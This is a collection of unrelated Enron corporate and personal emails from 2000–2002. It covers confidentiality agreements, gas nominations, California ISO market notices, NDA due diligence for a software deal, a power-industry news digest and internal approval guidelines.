Confidentiality Agreement.  If the agreement meets with your approval, could 
you please have it executed by an authorized officer of Viant Corporation and 
fax it to me for signature by Enron North America Corp.   If you have any 
questions or comments, please do not hesitate to call me.  My phone no. is 
(713) 853-3399 and my fax no. is (713) 646-3490.  Thanks for your help.

In looking at  the MTD prod. vs. nom numbers, we have consistently been under nominated by about 2,000/day at Three Rivers and 2,000/day at the Saxet well.  We are making our imbalance worse, cumulative.  We need to update our forward position and our nomination by 4,000/day to stay in balance to entitlements.

Mary

SSB forms - hello!
call Franklin and Scwabb for change in beneficiary forms
call amex estate recovery about miles on cards
  ----- Original Message ----- 
  From: Storey, Geoff 
  To: Pam Storey 
  Sent: Sunday, October 21, 2001 9:48 AM
  Subject: RE: 

    From: Pam Storey [mailto:JimmyStorey@fbcc.com]
    Sent: Wednesday, October 10, 2001 9:02 PM
    To: vicki storey; gstorey@enron.com
    Subject: 

  **********************************************************************
  This e-mail is the property of Enron Corp. and/or its relevant affiliate and may contain confidential and privileged material for the sole use of the intended recipient (s). Any review, use, distribution or disclosure by others is strictly prohibited. If you are not the intended recipient (or authorized to receive for the recipient), please contact the sender or reply to Enron Corp. at enron.messaging.administration@enron.com and delete all copies of the message. This e-mail (and any attachments hereto) are not intended to be an offer (or an acceptance) and do not create or evidence a binding and enforceable contract between Enron Corp. (or any of its affiliates) and the intended recipient or any other party, and may not be relied on by anyone as the basis of a contract by estoppel or otherwise. Thank you. 

FYI.... 

Don Lacen 
Public Service Company of New Mexico 
Transmission Services Coordinator 
Alvarado Square, MS EP11 
Albuquerque, NM, 87158 
505-241-2032 
dlacen@pnm.com 

From: Barbara Bogenrief [<mailto:Barbara.Bogenrief@nerc.net>] 
Sent: Wednesday, August 15, 2001 10:24 AM 
To: Interchange Subcommittee 
Subject: Interchange Subcommittee Meeting Agenda - August 22-24, 2001 

Dear Interchange Subcommittee Members: 

The August 22-24, 2001 IS meeting agenda (Omaha, NE) is posted and 
available for download from the following NERC web site: 

<http://www.nerc.com/~filez/is.html> 

"is-0801a.pdf" 

Please let me know if you have any questions. Thanks. 

Barbara 

I am generally available in the afternoons after 3:00.  Have your assistant schedule some time either this week or next so we can talk about the Wellhead Book.

Thanks,

Tom

Tim alerted everyone about this.  It's just an average for each number.
---------------------- Forwarded by Mary Hain/HOU/ECT on 02/16/2001 09:09 AM 
   
	From:  CRCommunications <CRCommunications@caiso.com>                          
 02/16/2001 08:45 AM
	
To: ISO Market Participants 
<IMCEAEX-_O=CAISO_OU=CORPORATE_CN=DISTRIBUTION+20LISTS_CN=ISO+20MARKET+20PARTI
CIPANTS@caiso.com>
cc: SC Settlements Contacts 
<IMCEAEX-_O=CAISO_OU=CORPORATE_CN=DISTRIBUTION+20LISTS_CN=SCSETTLECONTACTS@cai
so.com>, ISO Market Operations Group <mktopsgrp@caiso.com>, ISO Client 
Relations  <ISOClientRelations@caiso.com> 
Subject: CAISO NOTIFICATION:  Imbalance Energy costs available on CAISO we b 
site

Market Participants:

As of trade date 2/12/01 the ISO began publishing estimated Daily cost
associated with Incremental Imbalance energy on the CAISO Webster
http://www.caiso.com/marketops/OASIS/pubmkt2.html under button #46 Imbalance
Energy Costs.  This information is presented as follows:
1. As-Bid:  Energy purchased via BEEP but with bids above the soft-cap
of $150.
2. Daily MCP:  Energy purchased via BEEP at or below soft cap that will
settle at MCP.
3. Out-of-Market:  Energy purchased out-of-market.

This Market data is available at 1800 hours on the day following the
applicable trade date.
The ISO did receive requests for hourly breakdown of these values.   At this
point, we have only received approval to publish Daily Averages.
The ISO has also posted historical data file for this same energy purchase
data for the period Nov 1, 2000 through Feb 11, 2001.  This historical data
is available in the Exceptions Log under real time data
http://www.caiso.com/marketops/OASIS/exceptions/.

  Ginger Y. Seitles
   <<...OLE_Obj...>>  California ISO
  Market Operations
  Phone: (916) 351-4420
  Pager: (800) 901-1898

CRCommunications
Client Relations Communications

thoughts?

	JMB <JBennett@GMSSR.com>
	09/27/2000 11:16 AM
		 
		 To: "'jdasovic@enron.com'" <jdasovic@enron.com>
		 cc: "'ryang@enron.com'" <ryang@enron.com>
		 Subject: GRC Phase II

Jeff --

Currently, having signed the confidentiality agreement in Phase II of the
GRC, I am receiving, about every two weeks, a CD with an updated ,
confidential version of their integrated rate model. I now have a collection
of about 20 of theses things.  The decision was made last February to have
me (as opposed to anyone at Enron) sign the confidentiality agreement and
receive the model while we decided what we were going to do in the
proceeding.  Now that we decided that we are not going to do anything, I was
considering contacting the appropriate PG&E attorney and getting my name
removed from the list to receive model updates and returning the ones I have
gotten to date. I wanted to make sure this was okay with you before I
proceeded.

Jeanne       

Thanks for the resume. We  interviewed Salley last year and passed on her..

Peter Mims is preparing a memo to me that will confirm our findings on the IP 
issues based on the contracts we have reviewed and the meeting we had 
yesterday.  I should get a copy of it today and will circulate it once it is 
finalized.  I will also prepare a list of the contracts we have reviewed.  I 
am still collecting a few agreements (Ganady Batrak's prior service agreement 
and Bob Campbells agreement) and will also be collecting copies of our 
agreements with Enron Net Works employees for review.  

With respect to the NDA's, they have all been drafted and it is my 
understanding that they were sent to our counterparties last week.  Oracle 
has already signed an NDA and I have a copy if you would like to have it.  I 
would suggest that before we have further conversations with Oracle that we 
consider asking them to also sign a non-solicitation agreement with us.  The 
NDA with Oracle is the only NDA that does not contain a non-solicitation 
provision.  

In order to facilitate getting the rest of NDA's signed as quickly as 
possible, I would suggest that Rex ask each of his contacts for the name and 
phone number of the legal counsel reviewing the agreement and I will give 
them a call and find out if they have any issues that need to be resolved.  
Obviously the i2 contract should be our priority.

FYI- I received a call from the contact at PriceWaterhouseCoopers and we will 
send him a NDA directly.

EB 3839

	Greg Piper@ENRON
	01/23/2001 10:28 AM
		 
		 To: Anne C Koehler/HOU/ECT@ECT
		 cc: Mark S Palmer/NA/Enron@Enron
		 Subject: Re: Offline update - legal, technology, demo

FYI

I forgot to include you on this.

Thanks.

GP
---------------------- Forwarded by Greg Piper/Corp/Enron on 01/23/2001 10:23 
From: Greg Piper on 01/23/2001 10:17 AM
To: Mark S Palmer/NA/Enron@Enron
cc: Rex Shelby/NA/Enron@Enron, Andy Zipper/Corp/Enron@Enron, David 
Forster/Corp/Enron@Enron, Mark Taylor/HOU/ECT@ECT, Marc 
Eichmann/Corp/Enron@ENRON, Jay Webb/HOU/ECT@ECT 
Subject: Re: Offline update - legal, technology, demo  

Sounds good so far.

What I want by the end of today is a complete inventory of legal contracts 
reviewed and a final risk memo completed by Enron and outside council.  We 
need to make sure we have a complete list of agreements, that they have all 
been reviewed and that any risks found are summarized in a memo and we need 
it done today so we can make sure we can keep our i2 meeting Thursday.

I also want the technology audit summary completed today for the same reasons 
as the legal audit above.  I want clear documentation that the system is 
severable, what was audited and that we know if we are going to have any 
issues upon a due diligence.

I also want a completed update of the NDA list by this afternoon.  What stage 
we are in, if there are issues, etc.  We need the i2 NDA signed today.  We 
will cancel the meeting with them Thursday if it is not signed and in our 
hands very soon.  I would like the Oracle one done in the next few days and 
the IBM one done as soon as possible.  

Let's meet at the end of today to finalize these three issues.

I will see you at 2 PM for the demo.

Thanks.

GP

Mark S Palmer
01/23/2001 09:04 AM
To: Greg Piper/Corp/Enron@Enron, Rex Shelby/NA/Enron@Enron
cc: Laura Howenstine/NA/Enron@Enron, Brandon Wax/HOU/ECT@ECT, Marc 
Eichmann/Corp/Enron@ENRON, Dovie Keprta/NA/Enron@Enron, Anne C 
Koehler/HOU/ECT@ECT, Mark Taylor/HOU/ECT@ECT, David Forster/Corp/Enron@Enron, 
Andy Zipper/Corp/Enron@Enron 
Subject: Offline update - legal, technology, demo

Legal
- Peter Mims of Vinson & Elkins is the outside counsel who will be working on 
the deal
- The team met Monday at 11:30am - Jay, Andy, Dave F., John P, Mark P, Anne 
K, and Peter
- Everything looks OK-- no problems anticipated
- Action items
 - Need to obtain copies of two contractor agreements: Bob Campbell, Ganadi 
Batrak
 - Need to verify that all employees who have worked on Offline have signed 
employment agreements
 - Need to resolve provisional patent filings
- Peter will produce a memo assessing risk

Technology
- An summary of Jay and Kevin's audit work should be done today.
- Need to define data room contents and location

Demo
- Demo script is in draft form.
- The first review of the draft demo is today at 2:00pm in Greg W's old office
- Conference call today at 11:30am to review demo set-up with Oracle's 
technical contact.
 
Start Date: 1/12/02; HourAhead hour: 11;  No ancillary schedules awarded.  No variances detected.

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002011211.txt

Don't worry, your reward will come in heaven!

From: 	"Grant, Bruce S" <bruce.s.grant@lmco.com>@ENRON [mailto:IMCEANOTES-+22Grant+2C+20Bruce+20S+22+20+3Cbruce+2Es+2Egrant+40lmco+2Ecom+3E+40ENRON@ENRON.com] 
Sent:	Monday, May 21, 2001 10:48 AM
To:	Hendrickson, Scott
Subject:	RE: Woohoo!

You are truly blessed.

From: Hendrickson, Scott [mailto:Scott.Hendrickson@enron.com]
Sent: Monday, May 21, 2001 10:35 AM
Subject: Woohoo!

FYI ---

They are opening a Freebird World Burrito here next to that Le Peep that
we've eaten at - across from 59 Diner.  Jealous much?

Scott

Start Date: 4/11/01; HourAhead hour: 16;  No ancillary schedules awarded.  
Variances detected.
Variances detected in Load schedule.

Schedules\2001041116.txt

---- Load Schedule ----
$$$ Variance found in table tblLoads.
     Details: (Hour: 16 / Preferred:   2.27 / Final:   2.26)
  TRANS_TYPE: FINAL
  LOAD_ID: PGE4
  MKT_TYPE: 2
  TRANS_DATE: 4/11/01
  SC_ID: EPMI

From: ISO

ISO declared STAGE 3 Electrical Emergency for 05/08/2001 15:10 through 05/08/2001 21:59

For more information contact:
webmaster@caiso.com

EDIS-05-08-01 1511 PDT

---------------------------------------------------------
To update or terminate your subscription to this email service
visit our webpage at http://www.incident.com/edismail.html.

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************************************************************************

"THE SUBJECTS"

CALIFORNIA --- What's in store for the summer?

GAS PRICE VOLATILITY ---Why?

POWER MARKET RISKS --- Explained

THE TEXAS RETAIL MARKET --- Will it work?

NEW POWERPLANTS --- How big is the opportunity?

CREDIT RISK --- How to manage it.

REAL PRICES --- Is the retail market ready?

WEATHER RISK --- Is it a market yet?

TRANSMISSION CONSTRAINTS --- Completely intractable?

PROVIDER OF LAST RESORT --- Dumping Ground?

THE WEB --- Don?t get fooled again.

RETAIL BILLING --- Getting it right

POWERLINE TELECOM --- The next big thing?

ROLLING BLACKOUTS --- Peak shaving?

DISTRIBUTED GENERATION --- Ready to boom?

COAL --- Fuel of the Future?

And, WHERE IS YOUR CAREER GOING?

BE READY --- KNOW THE ANSWERS

Attend the Power Marketing Association?s annual spring meeting:

    POWER MARKETS 2001: CRISIS AND OPPORTUNITY
                March 14-16, 2001 Las Vegas

For the complete agenda:
http://www.pmaconference.com/0103Agenda.pdf

--------------------T O P S T O R I E S--------------------

Top Stories (February 5)

POWER COSTS MAY SHIFT TO CALIFORNIA COMPANIES UNDER NEW LAW
California business owners may be breathing a sign of relief now that a law 
authorizing the state to buy long-term power contracts will help keep the 
lights on throughout the state.
http://199.97.97.79/IMDS%PMADJN0%read%/home/content/users/imds/feeds/djn/2001/
02/05/eng-djn/eng-djn_112059_48_6029639840126

CALIFORNIA'S CASH, POWER PROBLEMS SPREADING IN PACIFIC NW
California's electricity crisis is making inroads into the Pacific Northwest, 
where power supplies are running short and at least one public utility said 
it too faces the threat of insolvency.
02/05/eng-djn/eng-djn_162112_199_772038192023

TRANSALTA ANNOUNCES MAJOR EXPANSION - ADDS NEARLY 1,200 MEGAWATTS OF COAL, 
GAS AND WIND POWER IN ALBERTA AND WASHINGTON STATE
TransAlta announced today plans for a 900-megawatt expansion of their 
coal-fired Keephills power plant located near Edmonton, Alberta, and the 
construction of a 248-MW gas-fired power plant on the site of their 
Centralia, Washington, facility.
http://199.97.97.163/IMDS%PMANAT0%read%/home/content/users/imds/feeds/comtex/2
001/02/05/bw/0000-3362-.industrytopstories.util

DOMINION CEO: NEW POWER, GAS CAPACITY TO DRIVE GROWTH
Dominion Resources Inc. plans to expand its business by developing and 
acquiring natural gas pipelines and power plants, not by merging with other 
utilities as some observers have speculated, the company's top executive said.
02/05/eng-djn/eng-djn_154024_131_204523935448

SCOTTISH POWER US ARM GRANTED $70M UTAH INTERIM RATE RISE
Scottish Power PLC said Monday that U.S. subsidiary PacifiCorp has been 
granted a $70 million interim rate increase in Utah for the recovery of 
excess power costs.
02/05/eng-djn/eng-djn_084029_118_04634014843

DOW JONES NEWSWIRES
Access stories online at: 
http://199.97.97.79/IMDS|PMADJN0,PMADJN1,PMADJN2,PMADJN3,PMADJN4|index

Calif's Cash, Power Problems Spreading In Pacific NW

Dominion CEO: New Power, Gas Capacity To Drive Growth

California Power Woes Put Heat On Texas Investment Pool

PRESS RELEASE: Calif ISO Issuer Credit Cut To D: S&P

Calif Independent Sys Oper Issuer Credit Cut To D: S&P

Jackson's Protests Have Benefited Friends, Family -Report

PRESS RELEASE: Moody's Comments On Passage Of Calif AB1

Japan Govt, Power Indus To Study Calif Crisis - Nikkei

Shell, Hydro-Que/JV -2: For Development To Sale >RD X.HQB

Power Costs May Shift To Calif Companies Under New Law

SoCal Ed Clarifies No Payments Made To Orange County

US Weather: Snow In Northeast; Clear Skies In Southwest

Shell Hydrogen, Hydro-Quebec In Hydrogen Storage JV

Metallurg's Gesellschaft Is Also Part Of Hydrogen JV

Scottish Power US Arm Granted $70M Utah Interim Rate Rise

Cajastur, EDP's Cantabrico Co-Bid 'Irrevocable' -Cajastur

FREE TRIAL: For a free trial of the Dow Jones Energy Service go to
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1-800-223-2274.

N A T I O N A L
Access stories online at: http://www.powermarketers.com/pma-nat.htm

Timely Warm Spell May Help Power Picture

Green Mountain Power Reports Results for 2000

Energy Update/Los Angeles Department of Water And Power Daily Energy Update 
for Monday, Feb. 5, 2001

Fusive.Com Helps Southern Company Transfer Power to Its Online Customers

California Serves As Bush's Scapegoat For New Energy Plan

Energy Prices Snapshot

Top Energy Summaries - Monday, February 05, 2001 - 4:51 PM

New England Natural Gas Industry Responds to ISO NE Study

El Paso Opens New Energy Trading Floor

Transalta Announces Major ExpansionAdds Nearly 1,200 Megawatts of Coal, Gas 
And Wind Power in Alberta And Washington State

NW Energy Efficiency Alliance Plans for Future Electric Energy Use; Time Is 
Right for Workshop to Examine Consumer Trends for Next 15 Years

Power Outages Conference to Be Held in Washington, DC February 12-13

Merrill Upgrades Active Power to I-T Buy from Accum. (Acpw)

State's Energy Fear? Price Supply Ok, But Cap on Rates Ends in '04

There's Power Enough - Barring a Cold Snap

The Drain on Area's Power - And Money Economic Impact: It's Not Just The High 
Energy Bills, It's Fact They're Being Paid to Faraway Suppliers

Top Energy Summaries - Monday, February 05, 2001 - 2:22 PM

Watt's a Power Station Worth?

General Electric Allegedly Cutting 75,000 Jobs

Repeats: Energy Volume And Open Interest Totals-Feb 5

Power Utility Database Updated with 2,611 Web Sites for Industry Personnel Use

Energy America Distributes $5 Million in Rebate Checks to Customers in 
Michigan

R & M Energy Systems "Goes Live" with Intentia's Movex

Customer Relationship Management for Energy Industry Could Be Matter of 
Survival

Williams Coal Seam Gas Royalty Trust Announces Quarterly Cash Distribution 
And Estimated Tax Credit

Top Energy Summaries - Monday, February 05, 2001 - 12:23 PM

New Jersey 1htprnt R11 851217 10:57:38 5-Feb-01 Page 228 New3 ; Electrical 
Fault Suspected in Paterson House Fire

U.S. Battery And Fuel Cell Patents

Generating Power from Alpha-Particle Sources

Reciprocity, Utility, And the Law of Aggression

Doing Nothing on Energy

Gas-Power Firms Dominate Energy 50 Ranking in 2000

Chipmakers Face Power Struggles (2/5)

Energy Lessons Learned from The 2000 Campaign

Integrated Energy Companies Becoming Archaic, Skilling Says

California Soaks Up Solar Rays

Enterprise Products Expands with Growth in Natural Gas Liquids

Energy Executives Fearful of Return to Regulation

Meeting Report: Power 2000 September 24-27 San Diego, California Part II

Baldor Electric Company 2000 Year-End Audited Results

Eea - Natural Gas Production Increases Likely to Yield Price Break

ISO New England Releases Comprehensive Report on Region's Natural Gas 
Pipeline Infrastructure

Natural Gas Prices for February Drop Sharply, Especially in New York/New 
Jersey And California, According to Platts; Drop Seen More A Sign of 
Volatility Than Long-Term Trend

Hill Short-Term Forecast: Inventory Shortage Supports Continued High U.S. 
Coal Prices

Wisconsin Electric, DNR Sign Innovative Environmental Agreement; 
Environmental Cooperative Agreement Is A First for The State

Wsi Expands Energycast Powertrader & Gastrader Coverage to West Coast And 
Texas Markets; Meteorologists Provide Weather Forecasts And Consulting That 
Energy Traders Can Translate Into Power

GE Digital Energy Acquires Mission Critical Design And Engineering Firm

Electric City Hails Governor Davis Executive OrderCalifornia Governor Issues 
Executive Order Requiring Retail Industry to Reduce After-Hours Lighting 
Energy Use by 80% - Energysaver(TM) Helps Customers Comply And Save Money at 
The Same Time

Energyguide.Com And Allbusiness Partner to Help Small Businesses Lower Their 
Energy Bills

H Power And Air Products Sign Letters of Intent to Explore Business Alliance 
And Conduct Market Analysis for Fuel Cell Powered ProductsMarkets for Small 
Portable/Mobile Fuel Cell Applications And High-Value/Critical-Service 
Telecom Back-Up Applications to Be Analyzed

Imserv Announces New Energy Data on-Demand --Edo-- Service

Serveron Corporation Launched to Monitor the Performance of Critical Electric 
Power Transmission And Distribution Equipment

California Energy Plan Passed, High Bills Likely for Most Users

Magnadrive's Device to Optimise Energy Usage

Full: Patterson Energy, Uti Energy to Merge

What to Do About Energy? Officials Ponder Measures to Prevent High Prices 
Next Year

Bush's Energy Surge

Medis Technologies Announces Cooperation Agreement with Sagem SA to Jointly 
Develop Fuel Cell Technology

The Energy Crunch / Legislature Wrestles with Crisis Overload / Forced Energy 
Sales to State Set to Expire

Variety of Events Planned at Center Avista Representative to Speak on Power 
Crisis

Con Edison Taps the Power of Openviz by Avs to Visualize Manhattan Electrical 
Usage Data

Meteor Industries Announces Sale of Subsidiaries to Capco Energy, Inc.

Energy Crisis

Kms Power Updates Progress at Expansion 2000 And Institutes Measures to 
Mitigate Impact of Gas Prices

Cmp 2000 Resource LP And Cmp 2000 II Resource LP Acquire Shares of Kinetic 
Energy Inc.

Acquisition of A Natural Gas Property

Energy Privatization Advisor This Week

Plan to Buy Power Plant Meets with Cautious Interest

Power Might Come from Across Street

I N T E R N A T I O N A L
Access stories online at: http://www.powermarketers.com/pma-intr.htm

Wuhan to Build Trash-Burning Power Plant

S&P Rates Lir Energy Ltd US$150m Notes `BB-'

Standard & Poor's Rates Lir Energy Ltd US$150m Notes 'Bb-'

Australia's BHP to Provide LNG to Tohoku Electric Power

Spain Utility Groups Call Off Merger

SPCC Controls Fate of Ilo Power Plant Expansion - Peru

Power Plant Expansion Depends on SPCC Ilo Decision - Peru

Cemig Yet to Start Hydro Feasibility Studies - Brazil

Chinese Joint Venture Announced by the Electric Transportation Company

Infineon Technologies Produces World's First Power Semiconductors in Silicon 
Carbide

Entergy's Damhead Creek UK Power Plant Begins Commercial Operations

Russia's Regional Leader Resigns Over Energy Crisis

Air France Selects Broadvision E-Business Solutions for Its Next-Generation 
Web Sites

Foster Wheeler to Supply Turnkey Power Plant in Finland

Indian Government: More Than Eighty Per Cent Earthquake Affected Villages 
Reconnected with Power Supply

Russia Nuclear Scientists Designed Cheap Energy Plant.

Web SitesSuite of E-Business Applications from Broadvision Allows Air France 
to Build New Sites And Personalize Customer Interactions

Six Japan Cos Set Up Joint Venture to Make Next Generation LCD

ADB extends deadline for power sector loan to Philippines

Hong Kong: Engineer Gets Award for Energy Innovation

North West Shelf partners sign LNG supply deal with Tohoku Electric

China Predicts Use of Natural Gas for Energy Will Rise

Power Infrastructure Projects in Vietnam Fall Behind Schedule

KRT DAILY ENERGY NEWS
Access stories online at http://www.powermarketers.com/pma-krt.htm

Chicago University Researchers Use the Power of Light to Move Tiny Particles

Saint Paul Pioneer Press, Minn., Business Queries Column

Energy Crisis Devastates California Greenhouse Growers

Seattle-Area Businesses Cut Back on Energy Consumption

Sacramento, Calif., Utility Employees Cope with Customers with High Bills

Peoria, Ill.-Area Homeowners Seek Ways to Lower Heating Bills

Peoria, Ill., Residents Turn to Coal, Corn As Alternative Fuel Sources

California Deregulation Debacle to Slow Utility Restructuring in Kentucky

Coal Returns As Alternative Heat Source for Kentucky Residents

Orlando, Fla., Water District Wastes Billions of Gallons

Rising Power Bills Hit Large Energy Users in Orange County, Calif.

Wisconsin Judge Dismisses Energy Company's Challenge to Investment Limits

Florida Power Company Asks for A Fuel-Adjustment Increase

Missouri Public Service Commission Wants Quick Review of Gas Utilities

The Kansas City Star, Mo., Jerry Heaster Column

Florida Power Company Asks Regulators for A Rate Hike

California Power Outages Open Up Questions on Employee Pay

REUTERS
Access stories online at: http://207.32.82.57/news/ElectricPower.html

TransAlta plans C$2.1 billion expansion

S&P cuts Calif ISO credit rating to ``D,'' or default

ANALYSIS-Lame marketing turns UK consumers off green power

Groups sue NYPA to stop new power plants in NYC

U.S. Energy changes accounting firms

UPDATE 2-Scottish Power gets Utah rate rise

UPDATE 1-Volatility boosts Williams' continuing earnings

S&P rates Companhia Energetica de Sao Paulo

Canada spot natgas falls with weak NYMEX futures

UPDATE 3-Spain's Endesa, Iberdrola merger collapses

N.Korea sets Feb 7 energy talks with South

Hanover and OEC delay merger closing, OEC to re-vote

Repsol YPF not considering fresh bid for Iberdrola

White House won't bend on power supplies for Calif.

National Technical sees Q4 hurt by Calif. energy crisis

Water shortage seen hitting Vietnam crops, power

Iberdrola says open to value-creating deal

El Paso sees 2001 EPS of $3.25 in 2001

UPDATE 1-Endesa-Chile 2000 net profit vs loss in 1999

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remove Mary Hain from your lists.

From: 
WIZ.IXGate.tx062m@WIZ.IXGate."tx062m@mail.md"@GWISE@enronXgate@WIZ.IXGate."tx0
62m on 04/04/2001 05:40 AM CDT
Sent by: <F214B@WIZ.IXGate."tx062m>
To: "SMTP:Attorney@Law-offices.com" <Attorney@Law-offices.com>@SMTP@enronXgate
cc:  (bcc: Mary Hain/HOU/ECT)
Subject: Lawyer's best information source

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---------------------- Forwarded by Sally Beck/HOU/ECT on 05/26/2000 02:27 PM 

Carrie Hollomon
05/26/2000 02:00 PM
To: Sally Beck/HOU/ECT@ECT, Brent A Price/HOU/ECT@ECT, Susan 
Harrison/HOU/ECT@ECT, Steve Jackson/HOU/ECT@ECT
cc:  
Subject: Enron MidWest Responsibility Matrix

Per your request, attached is the following:

1.  High-level organization chart for the Enron MidWest Energy Operations 
team   

2.  Responsibility matrix/Contact list for Enron MidWest support organization 
(more detailed and includes RAC, Credit, etc.)   

Please let me know if you have any other questions or need anything else!
Thanks,
Carrie

Hi Everybody,
?
As of February 20th, my work schedule is changing  again.
I'll be working from 8a.m. to 4:30p.m. at NCS, and from 6p.m.  to 10p.m. at 
ACT.? If you want to get a hold of me during the week, the  best time to call 
is between 5p.m. and 5:30p.m. or between 10:30p.m. and  11:00p.m.
?
? I don't promise that I can talk for very long at these  times (especially 
not at the 5:00 interval), but if you have a quick question  for me, or some 
information to pass along, those are the times you can do  it.
?
If you want to have a more substantial conversation, you can  reach me on the 
weekend.? After putting in a 60 hour week, I tend to sleep  a little late on 
Saturday.? I suggest calling after 11a.m. if you want a  cheerful, alert 
response.? And of course,? you can always reach me by  email.
?
Phil

---------------------- Forwarded by Jinsung Myung/Corp/Enron on 08/27/2000 
03:48 PM ---------------------------
   
	From:  Jinsung Myung                           08/27/2000 01:40 PM
	
To: Don Miller/HOU/ECT@ECT
cc:  

Subject: Latest Investment Merit of LV and Pastoria

Received: from postmaster.enron.com (outbound5.enron.com [192.152.140.9]) by 
tfsgateway.andrews-kurth.com; Mon, 30 Oct 2000 11:15:48 -0600
postmaster.enron.com (8.8.8/8.8.8/postmaster-1.00) with ESMTP id MAA09873 for 
<PETEJ@andrews-kurth.com>; Mon, 30 Oct 2000 12:15:43 -0500 (CDT)
From: Clement.Abrams@enron.com
id <Tac1c0a274f9209f7c7@nahou-msmsw03px.corp.enron.com>; Mon, 30 Oct 2000 
11:15:43 -0600
Subject: Re: Enron/Florida Power & Light Company ISDA agreements
To: "Serge Martin" <Sgm@steelhector.com>
Cc: PETEJ@andrews-kurth.com, Sara.Shackleton@enron.com
Message-ID: <OF5EDA60AE.D4080507-ON86256988.005E54FB@enron.com>
Date: Mon, 30 Oct 2000 11:15:38 -0600
X-MIMETrack: Serialize by Router on ENE-MTA01/Enron(Release 5.0.3 (Intl)|21 
March 2000) at 10/30/2000 11:11:49 AM
Content-type: multipart/mixed;  
Boundary="0__=86256988005E54FB8f9e8a93df938690918c86256988005E54FB"

Serge,

The revisions look fine.  Call me if you have any questions (713) 853-5986.

Clement

                    "Serge
                    Martin"              To:     clement.abrams@enron.com
                    <Sgm@steelhec        cc:     PETEJ@andrews-kurth.com, 
                    tor.com>             Subject:     Enron/Florida Power & 
Light Company ISDA agreements

                    10/27/2000
                    01:11 PM

Clement: Enclosed in re the Enron/FP&L ISDA agreements is the revised
guaranty we discussed today.  Please let me know if the revisions meet
with your approval so Sara and I can proceed to finalize this and the
related agreements - as well as prepare the corresponding agreements for
Enron and FPL Energy Power Marketing, Inc. (the non-regulated FP&L
affiliate we discussed).  Thank you, -Serge

Serge G. Martin
smartin@steelhector.com
Steel Hector & Davis LLP
200 South Biscayne Blvd.
Miami, Florida 33131-2398
(305) 577-7097 phone
(305) 577-7001 fax

(See attached file: 625145_5.DOC)

 - 625145_5.DOC

Hey,

If you want to email me back before Monday, you can email me at 
susan_m_scott@hotmail.com

That way I can read your reaction even though I won't be at work.

Talk to you soon,

Sue

MARK YOUR CALENDAR 
Ziff Energy Group presents 
2002 North American Gas Strategies Conference 
North American Natural Gas:  Surviving Volatility 
April 15 - 16 in Houston 
This annual flagship event has an exciting, expanded agenda. Benefit from the industry leaders' perspectives following a year of turbulent activity - join the discussion as delegates examine the new American Energy Policy and assess bilateral to trilateral integration in North America, review the potential of imported and frontier gas, and debate the changes that will transport gas from new sources beyond the current convention.
DAY 1 
U.S. Pipelines 
Outlook of U.S. Gas Supplies 
Outlook of Deepwater/Gulf of Mexico 
Canadian Pipelines 
North American Conventional Supply Outlook 
Price Outlook & Impact on Consumers and Producer Perspectives 
DAY 2 
Integrated Energy Policy: Canada, U.S., and Mexico 
New Gas Sources in the New Decade 
LNG 
Northern Gas: Delta and Alaska 
For a detailed agenda, visit our website www.ziffenergyconferences.com in early January. 
Do you want to become a conference sponsor or partner? Contact Debralee Fernets at dfernets@ziffenergy.com or call (403) 265-0600 or toll free 1-800-853-6252.

Rod, per our discussion recently, I've drafted up some language to be 
included in ETS approval authority guidelines in the event that projects 
overrun their initially approved amounts:

Once capital projects are approved (whether included in the Plan or not), 
spending is limited to the approved level. If a project is projected to 
overrun, proper approval authority must be obtained prior to expending or 
committing to anything over the approved amount. In no case, can anything be 
spent over the approved amount without obtaining additional approval.

To determine the appropriate approval level needed, add the expected overrun 
to the originally approved amount. Then go to the appropriate section (ie 
projects not approved in the Plan or projects approved in the Plan) and 
identify the appropriate approval level for the new total. For example, if a 
capital project was approved in the Plan for $1.8MM and it is projected to 
overrun by $.2MM, the ETS President can approve the overrun. However, if the 
original amount were $1.9MM in the Plan and is expected to overrun by $.2MM, 
the ETS President cannot approve. It must go to the GPG CEO. Further, if the 
project's new total exceeds the GPG CEO authority, the decision will be made 
at that level when and how to obtain approval from Enron's Office of the 
Chairman.
  
Are you here?  I wanted to get those Intergen consents done and out of the 
way.  Also, DDuran needs to sign the Northwestern guaranty (Oz signed but 
they want more copies), and I thought it would be best if you initialled.

ckm

Per John Grass - CES sold Eagle Point gas on ANR (deal 136749) at ANR IF 
+.01.  and bought Eagle Point gas on CGAS (deal 149838) at CGAS IF +.005.

The sale to Eagle Point is in Sitara.  I just added the purchase deal on 
CGAS, it was not in Sitara.  Per John - Eagle Point is guaranteed to recover 
the ANR variable cost plus $.02.

---------------------- Forwarded by Chris Germany/HOU/ECT on 01/12/2000 03:23 
   
	From:  Joan Veselack @ ENRON                           01/11/2000 06:23 PM
	
To: chris.germany@enron.com
cc: Joann Collins/Corp/Enron@ENRON, vlamadr@enron.com, Robert 
Allwein/HOU/ECT@ECT 
Subject: Friendly Reminder - Paulding Gas

Chris, still missing 2247/day buy ticket from Eaglepoint/Central Desk for 
Paulding Gas - F1

Thank you!!!!!

John,

I just realized that I didn't return your call on Friday.  I ran out of the 
office on Friday after two difficult days and had Cathy collect all my stuff 
for my trip.  Jeff and I landed in Singapore last night at 1am (it is odd 
leaving for the airport on Sat. morning and arriving on Monday morning) and 
are in the office for a while this afternoon.  I'll give you a call a little 
bit later.  If your call is urgent, please don't hesitate to give me a 
voicemail if our time zones don't match up.
Thanks and sorry for the delay.
m

Louise 

Here is the offending piece from the SFA.  As you will see, it is not a 
binding piece of regulation, but merely a non-binding "Discussion Paper".  In 
fact it is even less binding than "Consultation" documents (also non-binding) 
which SFA put out following the discussion phase.

It does, however, provide some insight into how the SFA might regulate 
systems in the future.

I get about one of these a day from SFA and must say I missed this one.  I 
will ask our external counsel (Linklaters) to watch out for any SFA 
publications which may be relevant to Enron Online going forward and to bring 
them to our attention.  I suggest Justin and Edmund also stress this to any 
other external English counsel who may be advising us on Online. 

Paul
---------------------- Forwarded by Paul Simons/LON/ECT on 25/07/2000 19:54 
   
	From:  "Marsh, Jonathan" <jonathan.marsh@linklaters.com>                      
     25/07/2000 19:18
	
To: "Paul Simons (E-mail)" <Paul.Simons@enron.com>
cc:  

Subject: d02 (http://www.fsa.gov.uk/pubs/discussion/d02.pdf)

  Paul

I decided to email it after all.

Jonathan

 http://www.fsa.gov.uk/pubs/discussion/d02.pdf
 <<d02.url>>

This message is confidential. It may also be privileged or
otherwise protected by work product immunity or other legal
rules. If you have received it by mistake please let us know
by reply and then delete it from your system; you should not
copy the message or disclose its contents to anyone.

 - d02.url

Ken and Kevin,

